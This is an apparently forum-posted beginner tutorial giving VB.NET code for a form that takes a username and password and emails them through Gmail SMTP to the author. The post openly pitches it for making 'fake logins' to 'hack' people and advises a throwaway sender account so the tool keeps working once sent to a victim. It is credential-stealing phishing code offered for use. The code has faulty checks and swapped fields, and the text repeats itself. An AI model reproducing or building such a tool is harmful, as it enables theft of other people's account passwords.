How to make a msg sender.
So alot of you already know this, but i am bored and ive never made any tuts so here is one.
1.You can use this for any purpose like making fake logins that send the info to your email so you could "hack them" or you can just use it to send email to yourself or someone whit a program.
You will need:
2 textboxes
1 button.
2.
I reccomend to use 2 emails. the email 1 is a new email that you dont use and another one should be your main. u want to have 2 emails because if u do it all whit one email and send the program to someone your email will get warnings that someone tried to use a program to enter your email etc.. and the program might stop working cause your email will be temp. blocked but if you use 2 emails it will go trough properly and you will get the messages like a random person sent you a email!
I hope that it helped some of you, please thank me for this if you are kind i do want you to keep in mind this is my very first tutorial!
Thank you for checking out my tut!
1.You can use this for any purpose like making fake logins that send the info to your email so you could "hack them" or you can just use it to send email to yourself or someone whit a program.
You will need:
2 textboxes
1 button.
2.
Code:
Imports System.Net.Mail
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Missing")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("YourEmail1", "password")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Email1")
mail.To.Add("Email where to send the text")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox2.Text & ", " & "Password : " & TextBox1.Text
smtpServer.Send(mail)
Me.Show()
End Sub
End Class
I reccomend to use 2 emails. the email 1 is a new email that you dont use and another one should be your main. u want to have 2 emails because if u do it all whit one email and send the program to someone your email will get warnings that someone tried to use a program to enter your email etc.. and the program might stop working cause your email will be temp. blocked but if you use 2 emails it will go trough properly and you will get the messages like a random person sent you a email!
I hope that it helped some of you, please thank me for this if you are kind i do want you to keep in mind this is my very first tutorial!
Thank you for checking out my tut!
